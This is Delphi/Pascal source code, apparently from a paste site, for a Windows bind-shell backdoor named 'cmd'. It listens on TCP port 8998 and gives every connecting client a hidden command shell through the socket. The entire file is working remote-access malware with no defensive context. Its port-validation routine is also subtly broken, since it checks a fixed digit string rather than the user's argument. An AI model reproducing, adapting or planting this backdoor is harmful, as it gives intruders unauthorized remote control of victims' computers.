rendered paste bodyprogram cmd;
uses
Windows,
Winsock2,
Winsock,
SysUtils;
var
Port: integer = 8998;
WSAData: TWSAData;
FDSet: TFDSet;
SockAddrIn: TSockAddrIn;
ServerSocket: TSocket;
Connected: PInteger;
ThreadID: Cardinal;
szCmdLine: Array [0..MAX_PATH] of Char;
function ValidPort(input: string): boolean;
var
str0: string;
int0,
int1: integer;
begin
Result := false;
if (input = '') then exit;
str0 := '0123456789';
for int0 := 1 to Length(input) do if (Pos(input[int0], str0) < 1) then exit;
int1 := StrToInt(str0);
if ((1 <= int1) and (int1 <= 65536)) then Result := true;
end;
function GetLocalIP: string;
type
tia = array[0..10] of PInAddr;
pia = ^tia;
var
hen0: PHostEnt;
pptr: pia;
chr0: array[0..63] of char;
int0: integer;
wsd0: TWSAData;
begin
Result := '';
WSAStartup($101, wsd0);
GetHostName(chr0, SizeOf(chr0));
hen0 := GetHostByName(chr0);
if hen0 = nil then exit;
pptr := pia(hen0^.h_addr_list);
int0 := 0;
while pptr^[int0] <> nil do
begin
Result := StrPas(inet_ntoa(pptr^[int0]^));
inc(int0);
end;
WSACleanup;
end;
function ShellThread(Parameter: Pointer): Integer;
var
hSocket: PInteger;
si: TStartupInfo;
pi: TProcessInformation;
begin
hSocket := Parameter;
ZeroMemory(@si, SizeOf(si));
si.cb := SizeOf(si);
si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
si.wShowWindow := SW_HIDE;
si.hStdInput := hSocket^;
si.hStdOutput := hSocket^;
si.hStdError := hSocket^;
CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
Shutdown(hSocket^, SD_BOTH);
CloseSocket(hSocket^);
Dispose(hSocket);
Result := 0;
end;
begin
if (ValidPort(ParamStr(1))) then Port := StrToInt(ParamStr(1));
try
WSAStartUp(MakeWord(1, 1), WSAData);
ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_addr.s_addr := INADDR_ANY;
SockAddrIn.sin_port := htons(Port);
Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn));
Listen(ServerSocket, 1);
GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);
while True do
begin
FD_Zero(FDSet);
FD_Set(ServerSocket, FDSet);
Select(0, @FDSet, nil, nil, nil);
if FD_IsSet(ServerSocket, FDSet) then
begin
New(Connected);
Connected^ := Accept(ServerSocket, nil, nil);
if Connected^ <> SOCKET_ERROR then BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
else Break;
end;
end;
WSACleanup;
except
end;
end.